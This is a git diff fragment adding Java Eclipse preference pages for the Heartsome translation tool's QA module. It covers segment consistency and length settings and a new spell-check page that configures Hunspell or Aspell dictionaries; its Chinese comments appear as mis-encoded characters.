sameTargetBtn.setSelection(preferenceStore.getDefaultBoolean(QAConstant.QA_PREF_PARA_SAMETARGET)); + tarIgnorceCaseBtn.setSelection(preferenceStore.getDefaultBoolean(QAConstant.QA_PREF_PARA_TAR_IGNORCECASE)); + tarIgnorceTagBtn.setSelection(preferenceStore.getDefaultBoolean(QAConstant.QA_PREF_PARA_TAR_IGNORCETAG)); + + // -------------------------目标文本段长度é™åˆ¶è®¾ç½® + minBtn.setSelection(preferenceStore.getDefaultBoolean(QAConstant.QA_PREF_isCheckTgtMinLength)); + maxBtn.setSelection(preferenceStore.getDefaultBoolean(QAConstant.QA_PREF_isCheckTgtMaxLength)); + minTxt.setText(preferenceStore.getDefaultString(QAConstant.QA_PREF_tgtMinLength)); + maxTxt.setText(preferenceStore.getDefaultString(QAConstant.QA_PREF_tgtMaxLength)); + + } + + public void init(IWorkbench workbench) { + } + + @Override + public boolean performOk() { + if (!isInit) { + return true; + } + + if (!validMinValue(isNumericRegex) || !validMaxValue(isNumericRegex)) { + return false; + } + + if (CommonFunction.checkEdition("U")) { + // ä¸åŒ…å«ä¸Šä¸‹æ–‡åŒ¹é…的文本段 + if (contextBtn.getSelection()) { + preferenceStore.setValue(QAConstant.QA_PREF_CONTEXT_NOTINCLUDE, true); + } else { + preferenceStore.setValue(QAConstant.QA_PREF_CONTEXT_NOTINCLUDE, false); + } + } + + // ä¸åŒ…å«å®Œå…¨åŒ¹é…的文本段 + if (fullMatchBtn.getSelection()) { + preferenceStore.setValue(QAConstant.QA_PREF_FULLMATCH_NOTINCLUDE, true); + } else { + preferenceStore.setValue(QAConstant.QA_PREF_FULLMATCH_NOTINCLUDE, false); + } + + // ä¸åŒ…å«å·²é”定的文本段 + if (lockedBtn.getSelection()) { + preferenceStore.setValue(QAConstant.QA_PREF_LOCKED_NOTINCLUDE, true); + } else { + preferenceStore.setValue(QAConstant.QA_PREF_LOCKED_NOTINCLUDE, false); + } + + // ------------------------------文本段一致性检查的确定按钮点击所触å‘的事件 + if (sameSourceBtn.getSelection()) { + preferenceStore.setValue(QAConstant.QA_PREF_PARA_SAMESOURCE, true); + } else { + preferenceStore.setValue(QAConstant.QA_PREF_PARA_SAMESOURCE, false); + } + + if (srcIgnorceCaseBtn.getSelection()) { + preferenceStore.setValue(QAConstant.QA_PREF_PARA_SRC_IGNORCECASE, true); + } else { + preferenceStore.setValue(QAConstant.QA_PREF_PARA_SRC_IGNORCECASE, false); + } + + if (srcIgnorceTagBtn.getSelection()) { + preferenceStore.setValue(QAConstant.QA_PREF_PARA_SRC_IGNORCETAG, true); + } else { + preferenceStore.setValue(QAConstant.QA_PREF_PARA_SRC_IGNORCETAG, false); + } + + if (sameTargetBtn.getSelection()) { + preferenceStore.setValue(QAConstant.QA_PREF_PARA_SAMETARGET, true); + } else { + preferenceStore.setValue(QAConstant.QA_PREF_PARA_SAMETARGET, false); + } + + if (tarIgnorceCaseBtn.getSelection()) { + preferenceStore.setValue(QAConstant.QA_PREF_PARA_TAR_IGNORCECASE, true); + } else { + preferenceStore.setValue(QAConstant.QA_PREF_PARA_TAR_IGNORCECASE, false); + } + + if (tarIgnorceTagBtn.getSelection()) { + preferenceStore.setValue(QAConstant.QA_PREF_PARA_TAR_IGNORCETAG, true); + } else { + preferenceStore.setValue(QAConstant.QA_PREF_PARA_TAR_IGNORCETAG, false); + } + + preferenceStore.setValue(QAConstant.QA_PREF_isCheckTgtMinLength, minBtn.getSelection()); + preferenceStore.setValue(QAConstant.QA_PREF_isCheckTgtMaxLength, maxBtn.getSelection()); + preferenceStore.setValue(QAConstant.QA_PREF_tgtMinLength, minTxt.getText()); + preferenceStore.setValue(QAConstant.QA_PREF_tgtMaxLength, maxTxt.getText()); + + return true; + } + + public void initListener() { + // 勾选相åŒæºæ–‡ä¸åŒè¯‘文时,将属于它的两个å°é¡¹â€œå¿½ç•¥æ ‡è®°ä¸Žå¿½ç•¥å¤§å°å†™â€ä¹Ÿé€‰ä¸­ã€‚ + sameSourceBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + srcIgnorceCaseBtn.setSelection(sameSourceBtn.getSelection()); + srcIgnorceTagBtn.setSelection(sameSourceBtn.getSelection()); + } + }); + // 勾选相åŒè¯‘æ–‡ä¸åŒæºæ–‡æ—¶ï¼Œå°†å±žäºŽå®ƒçš„两个å°é¡¹â€œå¿½ç•¥æ ‡è®°ä¸Žå¿½ç•¥å¤§å°å†™â€ä¹Ÿé€‰ä¸­ã€‚ + sameTargetBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + tarIgnorceCaseBtn.setSelection(sameTargetBtn.getSelection()); + tarIgnorceTagBtn.setSelection(sameTargetBtn.getSelection()); + } + }); + srcIgnorceCaseBtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + if (srcIgnorceCaseBtn.getSelection()) { + sameSourceBtn.setSelection(true); + } + } + }); + srcIgnorceTagBtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + if (srcIgnorceTagBtn.getSelection()) { + sameSourceBtn.setSelection(true); + } + } + }); + tarIgnorceCaseBtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + if (tarIgnorceCaseBtn.getSelection()) { + sameTargetBtn.setSelection(true); + } + } + }); + tarIgnorceTagBtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + if (tarIgnorceTagBtn.getSelection()) { + sameTargetBtn.setSelection(true); + } + } + }); + } +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/preference/SpellPage.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/preference/SpellPage.java new file mode 100644 index 0000000..0e5d0c8 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/preference/SpellPage.java @@ -0,0 +1,702 @@ +package net.heartsome.cat.ts.ui.qa.preference; + +import java.io.BufferedOutputStream; +import java.io.BufferedReader; +import java.io.File; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStreamReader; +import java.util.ArrayList; +import java.util.Collections; +import java.util.Comparator; +import java.util.List; +import java.util.Map; +import java.util.Vector; + +import net.heartsome.cat.common.locale.Language; +import net.heartsome.cat.common.locale.LocaleService; +import net.heartsome.cat.common.ui.HsImageLabel; +import net.heartsome.cat.common.ui.languagesetting.LanguageLabelProvider; +import net.heartsome.cat.common.util.TextUtil; +import net.heartsome.cat.ts.core.qa.QAConstant; +import net.heartsome.cat.ts.core.qa.QAXmlHandler; +import net.heartsome.cat.ts.ui.qa.Activator; +import net.heartsome.cat.ts.ui.qa.resource.Messages; +import net.heartsome.cat.ts.ui.resource.ImageConstant; + +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.FileLocator; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.preference.PreferencePage; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.ComboViewer; +import org.eclipse.nebula.jface.tablecomboviewer.TableComboViewer; +import org.eclipse.nebula.widgets.tablecombo.TableCombo; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.ImageData; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.TabFolder; +import org.eclipse.swt.widgets.TabItem; +import org.eclipse.swt.widgets.Table; +import org.eclipse.swt.widgets.TableColumn; +import org.eclipse.swt.widgets.TableItem; +import org.eclipse.swt.widgets.Text; +import org.eclipse.ui.IWorkbench; +import org.eclipse.ui.IWorkbenchPreferencePage; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * æ‹¼å†™æ£€æŸ¥è®¾ç½®é¦–é€‰é¡¹ç•Œé¢ + * @author robert 2013-01-30 + */ +public class SpellPage extends PreferencePage implements IWorkbenchPreferencePage { + public final static String ID = "net.heartsome.cat.ts.ui.qa.preference.SpellPage"; + private IPreferenceStore preferenceStore; + private static final Logger LOGGER = LoggerFactory.getLogger(SpellPage.class.getName()); + /** 组件是å¦åˆå§‹åŒ– */ + private boolean isInit = false; + + /** 拼写检查器 > Aspellå•é€‰æŒ‰é’® */ + private Button aspellBtn; + /** 拼写检查器 > 内置拼写检查器 hunspell å•é€‰æŒ‰é’® */ + private Button hunspellBtn; + /** 是å¦å®žæ—¶æ£€æŸ¥ */ + private Button realTimeSpellBtn; + + /** 装载 hunspell 与 aspell 设置的 tab folder */ + private TabFolder tabFolder; + private TabItem hunspellTabItem; + private TabItem aspellTabItem; + + //----------------- 下é¢æ˜¯ hunspell 设置组件 --------------------------// + /** 忽略éžè¯‘元素 */ + private Button ignoreNontransBtn; + /** 忽略å•è¯é¦–å­—æ¯ä¸ºæ•°å­— */ + private Button ignoreDigitalFirstBtn; + /** 忽略å•è¯é¦–å­—æ¯ä¸ºå¤§å†™ */ + private Button ignoreUpperCaseFirstBtn; + /** 忽略所有都是大写的å•è¯ */ + private Button ignoreAllUpperCaseBtn; + + //------------------ 下é¢æ˜¯ aspell 设置的组件 --------------------------// + /** è¯­è¨€é›†åˆ */ + private List languages; + /** Aspell é…置文件路径 */ + private String configFilePath; + /** Aspell 命令文本框 */ + private Text txtCommandPath; + /** æµè§ˆæŒ‰é’® */ + private Button btnBrowse; + /** 是å¦ä½¿ç”¨ UTF-8 å¤é€‰æ¡† */ + private Button btnUTF8; + /** 刷新按钮 */ + private Button btnRefresh; + /** 语言下拉框 */ + private TableComboViewer cmbLang; + /** 默认è¯å…¸ä¸‹æ‹‰æ¡† */ + private ComboViewer cmbDefaultDic; + /** 添加到列表按钮 */ + private Button btnAdd; + /** 从列表删除按钮 */ + private Button btnRemove; + /** è¯å…¸è¡¨æ ¼ */ + private Table table; + private Map langMap = null; + private String bundlePath; + private QAXmlHandler xmlHandler; + + + public SpellPage() { + setTitle("拼写检查"); + setPreferenceStore(Activator.getDefault().getPreferenceStore()); + preferenceStore = getPreferenceStore(); + + try { + bundlePath = FileLocator.toFileURL(net.heartsome.cat.ts.ui.Activator.getDefault().getBundle().getEntry("")).getPath(); + } catch (IOException e) { + LOGGER.error(Messages.getString("qa.preference.SpellPage.LOG1"), e); + } + langMap = LocaleService.getDefaultLanguage(); + languages = new ArrayList(langMap.values()); + Collections.sort(languages, new Comparator() { + public int compare(Language o1, Language o2) { + return o1.toString().compareTo(o2.toString()); + } + }); + + checkAspellConfigureFile(); + } + + public void init(IWorkbench workbench) { + + } + + @Override + protected Control createContents(Composite parent) { + isInit = true; + Composite tParent = new Composite(parent, SWT.BORDER); + tParent.setLayoutData(new GridData(GridData.FILL_BOTH)); + tParent.setLayout(new GridLayout()); + + addSpellInstalGroup(tParent); + + tabFolder = new TabFolder(tParent, SWT.NONE); + tabFolder.setLayoutData(new GridData(GridData.FILL_BOTH)); + + hunspellTabItem = new TabItem(tabFolder, SWT.NONE); + hunspellTabItem.setText(Messages.getString("qa.preference.SpellPage.hunspellTab")); + + aspellTabItem = new TabItem(tabFolder, SWT.NONE); + aspellTabItem.setText(Messages.getString("qa.preference.SpellPage.aspellTab")); + + createHunspellCmp(); + createAspellCmp(); + + initData(); + return parent; + } + + + /** + * 创建 aspell çš„åˆå§‹åŒ–æ•°æ® + */ + private void checkAspellConfigureFile(){ + // 先检查首选项目录是å¦å­˜åœ¨ + String preferencePath = ResourcesPlugin.getWorkspace().getRoot().getLocation().append(QAConstant.QA_SPELL_preferenceFolder).toOSString(); + File preferenceFolder = new File(preferencePath); + if (!preferenceFolder.exists() || preferenceFolder.isFile()) { + preferenceFolder.mkdirs(); + } + configFilePath = ResourcesPlugin.getWorkspace().getRoot().getLocation().append(QAConstant.QA_SPELL_ASPELLCONFIGFILE).toOSString(); + File configureFile = new File(configFilePath); + if (!configureFile.exists() || configureFile.isDirectory()) { + try { + FileOutputStream fos = new FileOutputStream(configureFile); + BufferedOutputStream bos = new BufferedOutputStream(fos); + StringBuffer bf = new StringBuffer(); + bf.append("\n"); + bf.append("\n"); + bf.append(""); + bos.write(bf.toString().getBytes()); + bos.close(); + fos.close(); + } catch (IOException e) { + LOGGER.error(Messages.getString("qa.preference.SpellPage.LOG2"), e); + MessageDialog.openInformation(getShell(), + Messages.getString("qa.all.dialog.info"), + Messages.getString("qa.preference.SpellPage.LOG3")); + } + } + } + + /** + * 拼写检查è¯å…¸è®¾ç½® + * @param tParent + */ + private void addSpellInstalGroup(Composite tParent) { + Group groupSpellCheck = new Group(tParent, SWT.NONE); + groupSpellCheck.setLayout(new GridLayout()); + groupSpellCheck.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + groupSpellCheck.setText(Messages.getString("qa.preference.SpellPage.groupSpellCheck")); + + HsImageLabel imageLabel2 = new HsImageLabel(Messages.getString("qa.preference.SpellPage.imageLabel2"), + Activator.getImageDescriptor(ImageConstant.PREFERENCE_SYS_DICTIONARY)); + Composite cmpSpellCheck = imageLabel2.createControl(groupSpellCheck); + cmpSpellCheck.setLayout(new GridLayout(2, false)); + cmpSpellCheck.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + hunspellBtn = new Button(cmpSpellCheck, SWT.RADIO); + hunspellBtn.setText(Messages.getString("qa.preference.SpellPage.hunspellBtn")); + hunspellBtn.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + aspellBtn = new Button(cmpSpellCheck, SWT.RADIO); + aspellBtn.setText(Messages.getString("qa.preference.SpellPage.aspellBtn")); + aspellBtn.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + realTimeSpellBtn = new Button(cmpSpellCheck, SWT.CHECK); + realTimeSpellBtn.setText(Messages.getString("qa.preference.SpellPage.realTimeSpellBtn")); + realTimeSpellBtn.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + imageLabel2.computeSize(); + + hunspellBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + tabFolder.setSelection(hunspellTabItem); + } + }); + aspellBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + tabFolder.setSelection(aspellTabItem); + } + }); + } + + /** + * 创建 hunspell çš„ç•Œé¢ + */ + private void createHunspellCmp() { + Composite composite = new Composite(tabFolder, SWT.NONE); + composite.setLayout(new GridLayout()); + composite.setLayoutData(new GridData(GridData.FILL_BOTH)); + + HsImageLabel imageLabel = new HsImageLabel(Messages.getString("qa.preference.SpellPage.hunspellTab.label"), + Activator.getImageDescriptor(ImageConstant.PREFERENCE_SYS_IN_DIC)); + Composite cmp = imageLabel.createControl(composite); + + ignoreNontransBtn = new Button(cmp, SWT.CHECK); + ignoreNontransBtn.setText(Messages.getString("qa.preference.SpellPage.ignoreNontransBtn")); + + ignoreDigitalFirstBtn = new Button(cmp, SWT.CHECK); + ignoreDigitalFirstBtn.setText(Messages.getString("qa.preference.SpellPage.ignoreDigitalFirstBtn")); + + ignoreUpperCaseFirstBtn = new Button(cmp, SWT.CHECK); + ignoreUpperCaseFirstBtn.setText(Messages.getString("qa.preference.SpellPage.ignoreUpperCaseFirstBtn")); + + ignoreAllUpperCaseBtn = new Button(cmp, SWT.CHECK); + ignoreAllUpperCaseBtn.setText("qa.preference.SpellPage.ignoreAllUpperBtn"); + + imageLabel.computeSize(); + hunspellTabItem.setControl(composite); + } + + /** + * 创建 aspell çš„é…ç½®ç•Œé¢ + */ + private void createAspellCmp() { + isInit = true; + + Composite groupParent = new Composite(tabFolder, SWT.NONE); + groupParent.setLayout(new GridLayout()); + groupParent.setLayoutData(new GridData(GridData.FILL_BOTH)); + + +// Group groupParent = new Group(tparent, SWT.None); +// groupParent.setLayout(new GridLayout()); +// groupParent.setLayoutData(new GridData(GridData.FILL_BOTH)); +// groupParent.setText(Messages.getString("qa.preference.SpellPage.groupParent")); + + HsImageLabel imageLabel = new HsImageLabel( + Messages.getString("qa.preference.SpellPage.imageLabel"), + Activator.getImageDescriptor(ImageConstant.PREFERENCE_SYS_ASPELL_DIC)); + Composite cmp = imageLabel.createControl(groupParent); + cmp.setLayout(new GridLayout()); + Composite cmpTemp = (Composite) imageLabel.getControl(); + cmpTemp.setLayoutData(new GridData(GridData.FILL_BOTH)); + Composite cmpContent = new Composite(cmpTemp, SWT.None); + cmpContent.setLayout(new GridLayout(3, false)); + GridData data = new GridData(GridData.FILL_BOTH); + data.horizontalSpan = 2; + cmpContent.setLayoutData(data); + + Label lbl = new Label(cmpContent, SWT.NONE); + lbl.setText(Messages.getString("qa.preference.SpellPage.lblPath")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(lbl); + txtCommandPath = new Text(cmpContent, SWT.BORDER); + txtCommandPath.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + txtCommandPath.setEditable(false); + btnBrowse = new Button(cmpContent, SWT.NONE); + btnBrowse.setText(Messages.getString("qa.preference.SpellPage.btnBrowse")); +// GridData btnData = new GridData(); +// btnData.widthHint = 70; +// btnBrowse.setLayoutData(btnData); + + new Label(cmpContent, SWT.NONE); + btnUTF8 = new Button(cmpContent, SWT.CHECK); + btnUTF8.setText(Messages.getString("qa.preference.SpellPage.btnUTF8")); + new Label(cmpContent, SWT.NONE); + + lbl = new Label(cmpContent, SWT.NONE); + lbl.setText(Messages.getString("qa.preference.SpellPage.lblDic")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(lbl); + cmbDefaultDic = new ComboViewer(cmpContent); + cmbDefaultDic.getCombo().setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + btnRefresh = new Button(cmpContent, SWT.NONE); + btnRefresh.setText(Messages.getString("qa.preference.SpellPage.btnRefresh")); + + lbl = new Label(cmpContent, SWT.NONE); + lbl.setText(Messages.getString("qa.preference.SpellPage.lblLang")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(lbl); + cmbLang = new TableComboViewer(cmpContent, SWT.READ_ONLY | SWT.BORDER); + TableCombo tableCombo = cmbLang.getTableCombo(); + tableCombo.setShowTableLines(false); + tableCombo.setShowTableHeader(false); + tableCombo.setDisplayColumnIndex(-1); + tableCombo.setShowImageWithinSelection(true); + tableCombo.setShowColorWithinSelection(false); + tableCombo.setShowFontWithinSelection(false); + tableCombo.setVisibleItemCount(20); + cmbLang.getTableCombo().setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + cmbLang.setLabelProvider(new LanguageLabelProvider()); + cmbLang.setContentProvider(new ArrayContentProvider()); + cmbLang.setInput(languages); + cmbLang.getTableCombo().select(0); + new Label(cmpContent, SWT.NONE); + + Composite cmpTableBtn = new Composite(cmpContent, SWT.NONE); + GridLayout btnLayout = new GridLayout(2, false); + btnLayout.marginWidth = 0; + cmpTableBtn.setLayout(btnLayout); + GridData btnData1 = new GridData(GridData.FILL_BOTH); + btnData1.horizontalSpan = 3; + cmpTableBtn.setLayoutData(btnData1); + + btnAdd = new Button(cmpTableBtn, SWT.NONE); + btnAdd.setText(Messages.getString("qa.preference.SpellPage.btnAdd")); + btnRemove = new Button(cmpTableBtn, SWT.NONE); + btnRemove.setText(Messages.getString("qa.preference.SpellPage.btnRemove")); + Point browsePoint = btnBrowse.computeSize(SWT.DEFAULT, SWT.DEFAULT, true); + Point refreshPoint = btnRefresh.computeSize(SWT.DEFAULT, SWT.DEFAULT, true); + Point addPoint = btnAdd.computeSize(SWT.DEFAULT, SWT.DEFAULT, true); + Point remPoint = btnRemove.computeSize(SWT.DEFAULT, SWT.DEFAULT, true); + GridData btnData = new GridData(); + int width = Math.max(refreshPoint.x, Math.max(browsePoint.x, Math.max(addPoint.x, remPoint.x))); + btnData.widthHint = width + 10; + btnBrowse.setLayoutData(btnData); + btnRefresh.setLayoutData(btnData); + btnAdd.setLayoutData(btnData); + btnRemove.setLayoutData(btnData); + + table = new Table(cmpTableBtn, SWT.BORDER | SWT.MULTI | SWT.FULL_SELECTION); + + String[] arrTableHeader = new String[] { + Messages.getString("qa.preference.SpellPage.arrTableHeader1"), "", + Messages.getString("qa.preference.SpellPage.arrTableHeader2") }; + int[] arrWidth = new int[] { 195, 40, 195 }; + for (int i = 0; i < arrTableHeader.length; i++) { + int style = SWT.NONE; + if (i == 1) { + style = SWT.CENTER; + } + TableColumn col = new TableColumn(table, style); + col.setText(arrTableHeader[i]); + col.setWidth(arrWidth[i]); + } + + GridData dataTable = new GridData(GridData.FILL_BOTH); + dataTable.horizontalSpan = 2; + table.setLayoutData(dataTable); + table.setHeaderVisible(true); + table.setLinesVisible(true); + + initProperty(); + initListener(); + imageLabel.computeSize(); + + aspellTabItem.setControl(groupParent); + } + + + private void initProperty() { + xmlHandler = new QAXmlHandler(); + Map openResultMap = xmlHandler.openFile(configFilePath); + if (openResultMap != null + && QAConstant.RETURNVALUE_RESULT_RETURN.equals(openResultMap.get(QAConstant.RETURNVALUE_RESULT))) { + return; + } + + if (openResultMap == null + || QAConstant.RETURNVALUE_RESULT_SUCCESSFUL != (Integer) openResultMap + .get(QAConstant.RETURNVALUE_RESULT)) { + // 针对文件解æžå‡ºé”™ + boolean response = MessageDialog.openConfirm(getShell(), Messages.getString("qa.all.dialog.info"), + Messages.getString("qa.preference.SpellPage.aspellLogCheck")); + if (response) { + checkAspellConfigureFile(); + }else { + return; + } + } + + String commandPath = xmlHandler.getNodeText(configFilePath, "/aspell/commandLine", ""); + txtCommandPath.setText(commandPath == null ? "" : commandPath); + + cmbDefaultDic.getCombo().setItems(getDictionaries(commandPath)); + cmbDefaultDic.getCombo().select(0); + + String utf8 = xmlHandler.getNodeText(configFilePath, "/aspell/utf8", ""); + btnUTF8.setSelection(utf8 != null && utf8.equals("yes")); + + List aspellDicList = null; + try { + aspellDicList = xmlHandler.getAspellDicConfig(configFilePath); + addLangAndDicToTable(aspellDicList); + } catch (Exception e) { + LOGGER.error(Messages.getString("qa.preference.SpellPage.LOG4"), e); + } + } + + private void initListener() { + btnBrowse.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + FileDialog flg = new FileDialog(btnBrowse.getShell(), SWT.OPEN); + flg.setText(Messages.getString("qa.preference.SpellPage.btnBrowse.Title")); + String[] filter = new String[] { "*" }; + flg.setFilterExtensions(filter); + if (txtCommandPath.getText() == null || txtCommandPath.getText().trim().equals("")) { + flg.setFilterPath(System.getProperty("user.home")); + } else { + String path = txtCommandPath.getText(); + if (path.endsWith(" --encoding=utf-8")) { + path = path.substring(0, path.indexOf(" --encoding=utf-8")); + } + flg.setFilterPath(path.substring(0, path.lastIndexOf(System.getProperty("file.separator")))); + flg.setFileName(path.substring(path.lastIndexOf(System.getProperty("file.separator")) + 1)); + } + String stropen = flg.open(); + String commandLine = stropen == null ? "" : stropen; + if (commandLine.equals("")) { + return; + } else { + boolean blnUseUTF8 = btnUTF8.getSelection(); + if (blnUseUTF8 && !commandLine.endsWith(" --encoding=utf-8")) { + commandLine += " --encoding=utf-8"; + } + if (!blnUseUTF8 && commandLine.endsWith(" --encoding=utf-8")) { + commandLine = commandLine.substring(0, commandLine.indexOf(" --encoding=utf-8")); + } + + txtCommandPath.setText(commandLine); + cmbDefaultDic.getCombo().removeAll(); + cmbDefaultDic.getCombo().setItems(getDictionaries(commandLine)); + cmbDefaultDic.getCombo().select(0); + } + filter = null; + } + }); + + btnUTF8.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + boolean blnUseUTF8 = btnUTF8.getSelection(); + String commandLine = txtCommandPath.getText(); + if (blnUseUTF8 && !commandLine.endsWith(" --encoding=utf-8") && !commandLine.equals("")) { + commandLine += " --encoding=utf-8"; + } + if (!blnUseUTF8 && commandLine.endsWith(" --encoding=utf-8")) { + commandLine = commandLine.substring(0, commandLine.indexOf(" --encoding=utf-8")); + } + txtCommandPath.setText(commandLine); + } + }); + + btnRefresh.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + String commandLine = txtCommandPath.getText(); + cmbDefaultDic.getCombo().removeAll(); + cmbDefaultDic.getCombo().setItems(getDictionaries(commandLine)); + cmbDefaultDic.getCombo().select(0); + } + }); + + btnAdd.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent event) { + if (cmbLang.getTableCombo().getSelectionIndex() >= 0 && cmbDefaultDic.getCombo().getSelectionIndex() >= 0) { + String lang = TextUtil.getLanguageCode(cmbLang.getTableCombo().getItem( + cmbLang.getTableCombo().getSelectionIndex())); + String fileName = cmbDefaultDic.getCombo().getItem(cmbDefaultDic.getCombo().getSelectionIndex()); + TableItem[] items = table.getItems(); + boolean blnIsUpdate = false; + for (int i = 0; i < items.length; i++) { + String itemLang = TextUtil.getLanguageCode(items[i].getText(0)); + if (lang.equals(itemLang)) { + if (fileName.equals(items[i].getText(2))) { + return; + } + blnIsUpdate = true; + break; + } + } + List dicList = new ArrayList(); + dicList.add(new String[]{lang, fileName}); + addLangAndDicToTable(dicList); + + try { + xmlHandler.addAspellConfig(configFilePath, lang, fileName, blnIsUpdate); + } catch (Exception e) { + LOGGER.error(Messages.getString("qa.preference.SpellPage.LOG5"), e); + } + } + } + }); + + btnRemove.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent event) { + if (table.getSelectionCount() == 0) { + MessageDialog.openInformation(getShell(), + Messages.getString("qa.all.dialog.info"), + Messages.getString("qa.preference.SpellPage.msg1")); + return; + } + Rectangle rect = table.getBounds(); + + for (TableItem item : table.getSelection()) { + String lang = TextUtil.getLanguageCode(item.getText(0)); + try { + xmlHandler.removeAspellConfig(configFilePath, lang); + } catch (Exception e) { + LOGGER.error(Messages.getString("qa.preference.SpellPage.LOG6"), e); + } + table.remove(table.indexOf(item)); + } + table.pack(); + table.setHeaderVisible(true); + table.setBounds(rect); + } + }); + } + + /** + * æ ¹æ®ä¼ å…¥çš„ 命令 从 aspell 中读å–所有的è¯å…¸ + * @param command + * @return + */ + public String[] getDictionaries(String command) { + String response; + Process spellProcess; + + Runtime runtime = Runtime.getRuntime(); + try { + spellProcess = runtime.exec(command + " dump dicts --encoding=utf-8"); + BufferedReader spellReader = new BufferedReader(new InputStreamReader(spellProcess.getInputStream())); + response = spellReader.readLine(); + Vector result = new Vector(); + while (response != null && !response.equals("")) { + result.add(response); + response = spellReader.readLine(); + } + String[] dicts = new String[result.size()]; + for (int i = 0; i < result.size(); i++) { + dicts[i] = result.get(i); + } + return dicts; + } catch (IOException e) { + return new String[0]; + } + } + + /** + * 将语言与è¯å…¸å¯¹è¿›è¡ŒåŠ è½½åˆ°åˆ—表中, + * @param aspellDicList 第一个数æ®ä¸º 语言, 第二个数æ®ä¸º è¯å…¸ + */ + private void addLangAndDicToTable(List aspellDicList) { + for(String[] dicArray : aspellDicList){ + String lang = dicArray[0]; + String dic = dicArray[1]; + + TableItem item = null; + for (int i = 0; i < table.getItemCount(); i++) { + TableItem currItem = table.getItem(i); + if (TextUtil.getLanguageCode(currItem.getText(0)).equals(lang)) { + item = currItem; + } + } + if (item == null) { + item = new TableItem(table, 0); + } + + String[] data = { TextUtil.getLanguageName(lang), "->", dic }; //$NON-NLS-1$ + String imgPath = langMap.get(lang).getImagePath(); + if (imgPath != null && !imgPath.equals("")) { + imgPath = bundlePath + imgPath; + Image image = new Image(getShell().getDisplay(), imgPath); + if (image != null) { + ImageData imgData = image.getImageData().scaledTo(16, 12); + image = new Image(getShell().getDisplay(), imgData); + item.setImage(0, image); + } + } + item.setText(data); + } + } + + /** + * åˆå§‹åŒ–æ•°æ® + */ + private void initData(){ + if (preferenceStore.getBoolean(QAConstant.QA_PREF_isHunspell)) { + hunspellBtn.setSelection(true); + }else { + aspellBtn.setSelection(true); + } + realTimeSpellBtn.setSelection(preferenceStore.getBoolean(QAConstant.QA_PREF_realTimeSpell)); + + ignoreNontransBtn.setSelection(preferenceStore.getBoolean(QAConstant.QA_PREF_ignoreNontrans)); + ignoreDigitalFirstBtn.setSelection(preferenceStore.getBoolean(QAConstant.QA_PREF_ignoreDigitalFirst)); + ignoreUpperCaseFirstBtn.setSelection(preferenceStore.getBoolean(QAConstant.QA_PREF_ignoreUpperCaseFirst)); + ignoreAllUpperCaseBtn.setSelection(preferenceStore.getBoolean(QAConstant.QA_PREF_ignoreAllUpperCase)); + + if (hunspellBtn.getSelection()) { + tabFolder.setSelection(hunspellTabItem); + } + if (aspellBtn.getSelection()) { + tabFolder.setSelection(aspellTabItem); + } + } + + @Override + protected void performDefaults() { + if (preferenceStore.getDefaultBoolean(QAConstant.QA_PREF_isHunspell)) { + hunspellBtn.setSelection(true); + aspellBtn.setSelection(false); + }else { + hunspellBtn.setSelection(false); + aspellBtn.setSelection(true); + } + realTimeSpellBtn.setSelection(preferenceStore.getDefaultBoolean(QAConstant.QA_PREF_realTimeSpell)); + + ignoreNontransBtn.setSelection(preferenceStore.getDefaultBoolean(QAConstant.QA_PREF_ignoreNontrans)); + ignoreDigitalFirstBtn.setSelection(preferenceStore.getDefaultBoolean(QAConstant.QA_PREF_ignoreDigitalFirst)); + 